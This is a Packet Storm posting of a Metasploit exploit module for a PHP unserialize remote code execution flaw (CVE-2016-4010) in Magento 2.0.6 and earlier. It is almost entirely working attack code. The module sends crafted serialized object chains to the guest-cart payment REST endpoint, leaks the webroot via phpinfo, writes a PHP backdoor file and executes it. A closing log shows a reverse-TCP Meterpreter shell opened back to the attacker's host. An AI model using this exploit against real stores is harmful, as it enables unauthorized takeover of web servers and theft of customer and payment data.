Magento 2.0.6 Unserialize Remote Code Execution

2016-06-03T00:00:00
ID PACKETSTORM:137312
Type packetstorm
Reporter agix
Modified 2016-06-03T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Magento 2.0.6 Unserialize Remote Code Execution',  
'Description' => %q{  
This module exploits a PHP object injection vulnerability in Magento 2.0.6  
or prior.  
},  
'Platform' => 'php',  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Netanel Rubin', # original discovery  
'agix', # original exploit  
'mr_me <mr_me[at]offensive-security.com>', # metasploit module  
],  
'Payload' =>  
{  
'BadChars' => "\x22",  
},  
'References' =>  
[  
['CVE', '2016-4010'],  
['EDB', '39838'],  
['URL', 'http://netanelrub.in/2016/05/17/magento-unauthenticated-remote-code-execution/'],  
['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/'],  
['URL', 'https://magento.com/security/patches/magento-206-security-update']  
],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
[ 'Automatic Targeting', { 'auto' => true } ],  
],  
'DisclosureDate' => 'May 17 2016',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])  
], self.class)  
end  
  
def print_good(msg='')  
super("#{peer} - #{msg}")  
end  
  
def get_phpinfo  
# uses the Magento_Framework_DB_Transaction class  
serialize = 'O:13:\"Credis_Client\":22:{'  
serialize << 's:8:\"\u0000*\u0000redis\";'  
serialize << 'O:45:\"Magento\\\Sales\\\Model\\\Order\\\Payment\\\Transaction\":40:{'  
serialize << 's:9:\"\u0000*\u0000_order\";N;'  
serialize << 's:21:\"\u0000*\u0000_parentTransaction\";N;'  
serialize << 's:12:\"\u0000*\u0000_children\";N;'  
serialize << 's:22:\"\u0000*\u0000_identifiedChildren\";N;'  
serialize << 's:27:\"\u0000*\u0000_transactionsAutoLinking\";b:1;'  
serialize << 's:14:\"\u0000*\u0000_isFailsafe\";'  
serialize << 'b:1;'  
serialize << 's:12:\"\u0000*\u0000_hasChild\";N;'  
serialize << 's:15:\"\u0000*\u0000_eventPrefix\";'  
serialize << 's:31:\"sales_order_payment_transaction\";'  
serialize << 's:15:\"\u0000*\u0000_eventObject\";'  
serialize << 's:25:\"order_payment_transaction\";'  
serialize << 's:18:\"\u0000*\u0000_orderWebsiteId\";N;'  
serialize << 's:16:\"\u0000*\u0000_orderFactory\";N;'  
serialize << 's:15:\"\u0000*\u0000_dateFactory\";N;'  
serialize << 's:22:\"\u0000*\u0000_transactionFactory\";N;'  
serialize << 's:25:\"\u0000*\u0000orderPaymentRepository\";N;'  
serialize << 's:18:\"\u0000*\u0000orderRepository\";N;'  
serialize << 's:29:\"\u0000*\u0000extensionAttributesFactory\";N;'  
serialize << 's:22:\"\u0000*\u0000extensionAttributes\";N;'  
serialize << 's:25:\"\u0000*\u0000customAttributeFactory\";N;'  
serialize << 's:24:\"\u0000*\u0000customAttributesCodes\";N;'  
serialize << 's:26:\"\u0000*\u0000customAttributesChanged\";b:0;'  
serialize << 's:15:\"\u0000*\u0000_idFieldName\";'  
serialize << 's:2:\"id\";'  
serialize << 's:18:\"\u0000*\u0000_hasDataChanges\";'  
serialize << 'b:0;'  
serialize << 's:12:\"\u0000*\u0000_origData\";N;'  
serialize << 's:13:\"\u0000*\u0000_isDeleted\";'  
serialize << 'b:0;'  
serialize << 's:12:\"\u0000*\u0000_resource\";'  
serialize << 'O:32:\"Magento\\\Framework\\\DB\\\Transaction\":3:{'  
serialize << 's:11:\"\u0000*\u0000_objects\";'  
serialize << 'a:0:{}'  
serialize << 's:18:\"\u0000*\u0000_objectsByAlias\";'  
serialize << 'a:0:{}'  
serialize << 's:25:\"\u0000*\u0000_beforeCommitCallbacks\";'  
serialize << 'a:1:{'  
serialize << 'i:0;'  
serialize << 's:7:\"phpinfo\";}}' # the rub  
serialize << 's:22:\"\u0000*\u0000_resourceCollection\";N;'  
serialize << 's:16:\"\u0000*\u0000_resourceName\";N;'  
serialize << 's:18:\"\u0000*\u0000_collectionName\";N;'  
serialize << 's:12:\"\u0000*\u0000_cacheTag\";'  
serialize << 'b:0;'  
serialize << 's:19:\"\u0000*\u0000_dataSaveAllowed\";'  
serialize << 'b:1;'  
serialize << 's:15:\"\u0000*\u0000_isObjectNew\";N;'  
serialize << 's:23:\"\u0000*\u0000_validatorBeforeSave\";N;'  
serialize << 's:16:\"\u0000*\u0000_eventManager\";N;'  
serialize << 's:16:\"\u0000*\u0000_cacheManager\";N;'  
serialize << 's:12:\"\u0000*\u0000_registry\";N;'  
serialize << 's:10:\"\u0000*\u0000_logger\";N;'  
serialize << 's:12:\"\u0000*\u0000_appState\";N;'  
serialize << 's:19:\"\u0000*\u0000_actionValidator\";N;'  
serialize << 's:13:\"\u0000*\u0000storedData\";'  
serialize << 'a:0:{}'  
serialize << 's:8:\"\u0000*\u0000_data\";'  
serialize << 'a:0:{}}'  
serialize << 's:13:\"\u0000*\u0000redisMulti\";N;'  
serialize << 's:7:\"\u0000*\u0000host\";N;'  
serialize << 's:7:\"\u0000*\u0000port\";N;'  
serialize << 's:10:\"\u0000*\u0000timeout\";N;'  
serialize << 's:14:\"\u0000*\u0000readTimeout\";N;'  
serialize << 's:13:\"\u0000*\u0000persistent\";N;'  
serialize << 's:18:\"\u0000*\u0000closeOnDestruct\";'  
serialize << 'b:1;'  
serialize << 's:12:\"\u0000*\u0000connected\";'  
serialize << 'b:1;'  
serialize << 's:13:\"\u0000*\u0000standalone\";N;'  
serialize << 's:20:\"\u0000*\u0000maxConnectRetries\";'  
serialize << 'i:0;'  
serialize << 's:18:\"\u0000*\u0000connectFailures\";'  
serialize << 'i:0;'  
serialize << 's:14:\"\u0000*\u0000usePipeline\";'  
serialize << 'b:0;'  
serialize << 's:15:\"\u0000*\u0000commandNames\";N;'  
serialize << 's:11:\"\u0000*\u0000commands\";N;'  
serialize << 's:10:\"\u0000*\u0000isMulti\";'  
serialize << 'b:0;'  
serialize << 's:13:\"\u0000*\u0000isWatching\";'  
serialize << 'b:0;'  
serialize << 's:15:\"\u0000*\u0000authPassword\";N;'  
serialize << 's:13:\"\u0000*\u0000selectedDb\";'  
serialize << 'i:0;'  
serialize << 's:17:\"\u0000*\u0000wrapperMethods\";'  
serialize << 'a:3:{'  
serialize << 's:6:\"delete\";'  
serialize << 's:3:\"del\";'  
serialize << 's:7:\"getkeys\";'  
serialize << 's:4:\"keys\";'  
serialize << 's:7:\"sremove\";'  
serialize << 's:4:\"srem\";}'  
serialize << 's:18:\"\u0000*\u0000renamedCommands\";N;'  
serialize << 's:11:\"\u0000*\u0000requests\";'  
serialize << 'i:0;}'  
  
serialize  
end  
  
def get_phpshell  
s = "#{@webroot}/#{@backdoor}"  
p = "<?php #{payload.encoded} ?>"  
# uses the Magento_Framework_Simplexml_Config_Cache_File class  
serialize = 'O:13:\"Credis_Client\":22:{'  
serialize << 's:8:\"\u0000*\u0000redis\";'  
serialize << 'O:45:\"Magento\\\Sales\\\Model\\\Order\\\Payment\\\Transaction\":40:{'  
serialize << 's:9:\"\u0000*\u0000_order\";N;'  
serialize << 's:21:\"\u0000*\u0000_parentTransaction\";N;'  
serialize << 's:12:\"\u0000*\u0000_children\";N;'  
serialize << 's:22:\"\u0000*\u0000_identifiedChildren\";N;'  
serialize << 's:27:\"\u0000*\u0000_transactionsAutoLinking\";'  
serialize << 'b:1;'  
serialize << 's:14:\"\u0000*\u0000_isFailsafe\";'  
serialize << 'b:1;s:12:\"\u0000*\u0000_hasChild\";N;'  
serialize << 's:15:\"\u0000*\u0000_eventPrefix\";'  
serialize << 's:31:\"sales_order_payment_transaction\";'  
serialize << 's:15:\"\u0000*\u0000_eventObject\";'  
serialize << 's:25:\"order_payment_transaction\";'  
serialize << 's:18:\"\u0000*\u0000_orderWebsiteId\";N;'  
serialize << 's:16:\"\u0000*\u0000_orderFactory\";N;'  
serialize << 's:15:\"\u0000*\u0000_dateFactory\";N;'  
serialize << 's:22:\"\u0000*\u0000_transactionFactory\";N;'  
serialize << 's:25:\"\u0000*\u0000orderPaymentRepository\";N;'  
serialize << 's:18:\"\u0000*\u0000orderRepository\";N;'  
serialize << 's:29:\"\u0000*\u0000extensionAttributesFactory\";N;'  
serialize << 's:22:\"\u0000*\u0000extensionAttributes\";N;'  
serialize << 's:25:\"\u0000*\u0000customAttributeFactory\";N;'  
serialize << 's:24:\"\u0000*\u0000customAttributesCodes\";N;'  
serialize << 's:26:\"\u0000*\u0000customAttributesChanged\";b:0;'  
serialize << 's:15:\"\u0000*\u0000_idFieldName\";'  
serialize << 's:2:\"id\";'  
serialize << 's:18:\"\u0000*\u0000_hasDataChanges\";'  
serialize << 'b:0;'  
serialize << 's:12:\"\u0000*\u0000_origData\";N;'  
serialize << 's:13:\"\u0000*\u0000_isDeleted\";'  
serialize << 'b:0;'  
serialize << 's:12:\"\u0000*\u0000_resource\";'  
serialize << 'O:45:\"Magento\\\Framework\\\Simplexml\\\Config\\\Cache\\\File\":1:{'  
serialize << 's:8:\"\u0000*\u0000_data\";'  
serialize << 'a:3:{'  
serialize << 's:18:\"is_allowed_to_save\";'  
serialize << 'b:1;'  
serialize << 's:14:\"stat_file_name\";'  
serialize << "s:#{s.length.to_s}:\\\"#{s}\\\";" # our shell  
serialize << 's:10:\"components\";'  
serialize << "s:#{p.length.to_s}:\\\"#{p}\\\";}}" # our payload  
serialize << 's:22:\"\u0000*\u0000_resourceCollection\";N;'  
serialize << 's:16:\"\u0000*\u0000_resourceName\";N;'  
serialize << 's:18:\"\u0000*\u0000_collectionName\";N;'  
serialize << 's:12:\"\u0000*\u0000_cacheTag\";'  
serialize << 'b:0;'  
serialize << 's:19:\"\u0000*\u0000_dataSaveAllowed\";'  
serialize << 'b:1;s:15:\"\u0000*\u0000_isObjectNew\";N;'  
serialize << 's:23:\"\u0000*\u0000_validatorBeforeSave\";N;'  
serialize << 's:16:\"\u0000*\u0000_eventManager\";N;'  
serialize << 's:16:\"\u0000*\u0000_cacheManager\";N;'  
serialize << 's:12:\"\u0000*\u0000_registry\";N;'  
serialize << 's:10:\"\u0000*\u0000_logger\";N;'  
serialize << 's:12:\"\u0000*\u0000_appState\";N;'  
serialize << 's:19:\"\u0000*\u0000_actionValidator\";N;'  
serialize << 's:13:\"\u0000*\u0000storedData\";'  
serialize << 'a:0:{}'  
serialize << 's:8:\"\u0000*\u0000_data\";'  
serialize << 'a:0:{}}'  
serialize << 's:13:\"\u0000*\u0000redisMulti\";N;'  
serialize << 's:7:\"\u0000*\u0000host\";N;'  
serialize << 's:7:\"\u0000*\u0000port\";N;'  
serialize << 's:10:\"\u0000*\u0000timeout\";N;s:14:\"\u0000*\u0000readTimeout\";N;'  
serialize << 's:13:\"\u0000*\u0000persistent\";N;'  
serialize << 's:18:\"\u0000*\u0000closeOnDestruct\";'  
serialize << 'b:1;'  
serialize << 's:12:\"\u0000*\u0000connected\";'  
serialize << 'b:1;'  
serialize << 's:13:\"\u0000*\u0000standalone\";N;'  
serialize << 's:20:\"\u0000*\u0000maxConnectRetries\";'  
serialize << 'i:0;'  
serialize << 's:18:\"\u0000*\u0000connectFailures\";'  
serialize << 'i:0;'  
serialize << 's:14:\"\u0000*\u0000usePipeline\";'  
serialize << 'b:0;'  
serialize << 's:15:\"\u0000*\u0000commandNames\";N;'  
serialize << 's:11:\"\u0000*\u0000commands\";N;'  
serialize << 's:10:\"\u0000*\u0000isMulti\";'  
serialize << 'b:0;'  
serialize << 's:13:\"\u0000*\u0000isWatching\";'  
serialize << 'b:0;'  
serialize << 's:15:\"\u0000*\u0000authPassword\";N;'  
serialize << 's:13:\"\u0000*\u0000selectedDb\";i:0;'  
serialize << 's:17:\"\u0000*\u0000wrapperMethods\";'  
serialize << 'a:3:{'  
serialize << 's:6:\"delete\";'  
serialize << 's:3:\"del\";'  
serialize << 's:7:\"getkeys\";'  
serialize << 's:4:\"keys\";'  
serialize << 's:7:\"sremove\";'  
serialize << 's:4:\"srem\";}'  
serialize << 's:18:\"\u0000*\u0000renamedCommands\";N;'  
serialize << 's:11:\"\u0000*\u0000requests\";'  
serialize << 'i:0;}'  
  
serialize  
end  
  
def do_check  
data = '{"paymentMethod":{"method":"checkmo","additional_data":{"additional_information":"'  
data << get_phpinfo  
data << "\"}},\"email\":\"#{@email}\"}"  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"),  
'ctype' => 'application/json',  
'data' => data,  
})  
end  
  
def define_globals  
@phpsessid = Rex::Text.rand_text_alphanumeric(26)  
@form_key = Rex::Text.rand_text_alphanumeric(26)  
@cookies = "PHPSESSID=#{@phpsessid}; form_key=#{@form_key}"  
@email = "#{@phpsessid}@#{@form_key}.com"  
end  
  
def check  
define_globals  
# we actually exploit the bug, but just for a callback  
begin  
if create_fake_cart  
if generate_cart_id  
# twice, because we need to setup the phpinfo callback using  
# the Magento_Framework_DB_Transaction() pop chain  
res = ""  
(0..1).step(1) do |n|  
res = do_check  
end  
if (res && res.body.include?('phpinfo()'))  
return Exploit::CheckCode::Appears  
else  
return Exploit::CheckCode::Safe  
end  
end  
end  
rescue ::Rex::ConnectionError => e  
vprint_error(e.message)  
return Exploit::CheckCode::Safe  
end  
  
Exploit::CheckCode::Safe  
end  
  
def get_webroot  
data = '{"paymentMethod":{"method":"checkmo","additional_data":{"additional_information":"'  
data << get_phpinfo  
data << "\"}},\"email\":\"#{@email}\"}"  
  
# we steal path via phpinfo  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"),  
'ctype' => 'application/json',  
'data' => data,  
})  
  
if res && res.code == 200  
@webroot = "#{$1}" if res.body =~ /_SERVER\["DOCUMENT_ROOT"\]<\/td><td class="v">(.*)<\/td><\/tr>/  
return true  
end  
  
false  
end  
  
def create_fake_cart  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/checkout/cart/add/uenc/\/product/1/'),  
'headers' => { 'X-Requested-With' => 'XMLHttpRequest' },  
'cookie' => @cookies,  
'vars_get' => { 'form_key' => @form_key }  
})  
  
return true if (res && res.body.include?('[]'))  
  
false  
end  
  
def generate_cart_id  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/checkout/cart/'),  
'cookie' => @cookies,  
})  
if res && res.code == 200  
@guest_cart_id = "#{$1}" if res.body =~ /entity_id":"(.*)","store_id":\d,"created_at/  
return true  
end  
  
false  
end  
  
def backdoor  
data = "{\"paymentMethod\":{\"method\":\"checkmo\",\"additional_data\":{\"additional_information\":\""  
data << get_phpshell  
data << "\"}},\"email\":\"#{@email}\"}"  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "/rest/V1/guest-carts/#{@guest_cart_id}/set-payment-information"),  
'ctype' => 'application/json',  
'data' => data,  
})  
  
return true if (res && res.body.include?('true'))  
  
false  
end  
  
def exec_code  
send_request_raw({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "/#{@backdoor}"),  
}, timeout = 0.5)  
end  
  
def exploit  
define_globals  
@backdoor = "#{Rex::Text.rand_text_alphanumeric(26)}.php"  
register_files_for_cleanup("#{@backdoor}")  
if create_fake_cart && generate_cart_id  
print_good("generated a guest cart id")  
if get_webroot && backdoor  
print_good("backdoor done!")  
exec_code  
end  
end  
end  
  
end  
  
=begin  
saturn:metasploit-framework mr_me$ ./msfconsole -qr scripts/sam.rc   
[*] Processing scripts/sam.rc for ERB directives.  
resource (scripts/sam.rc)> use exploit/multi/http/magento_unserialize  
resource (scripts/sam.rc)> set payload php/meterpreter/reverse_tcp  
payload => php/meterpreter/reverse_tcp  
resource (scripts/sam.rc)> set RHOST 192.168.100.13  
RHOST => 192.168.100.13  
resource (scripts/sam.rc)> set LHOST 192.168.100.2  
LHOST => 192.168.100.2  
resource (scripts/sam.rc)> set LPORT 6666  
LPORT => 6666  
resource (scripts/sam.rc)> check  
[*] 192.168.100.13:80 The target appears to be vulnerable.  
resource (scripts/sam.rc)> exploit  
[*] Started reverse TCP handler on 192.168.100.2:6666   
[+] generated a guest cart id  
[+] backdoor done!  
[*] Sending stage (33721 bytes) to 192.168.100.13  
[*] Meterpreter session 1 opened (192.168.100.2:6666 -> 192.168.100.13:49714) at 2016-06-01 18:28:52 -0500  
[+] Deleted vYtP1aJ2NXYAovrQgOLNGCt0SZ.php  
  
meterpreter >  
=end  
`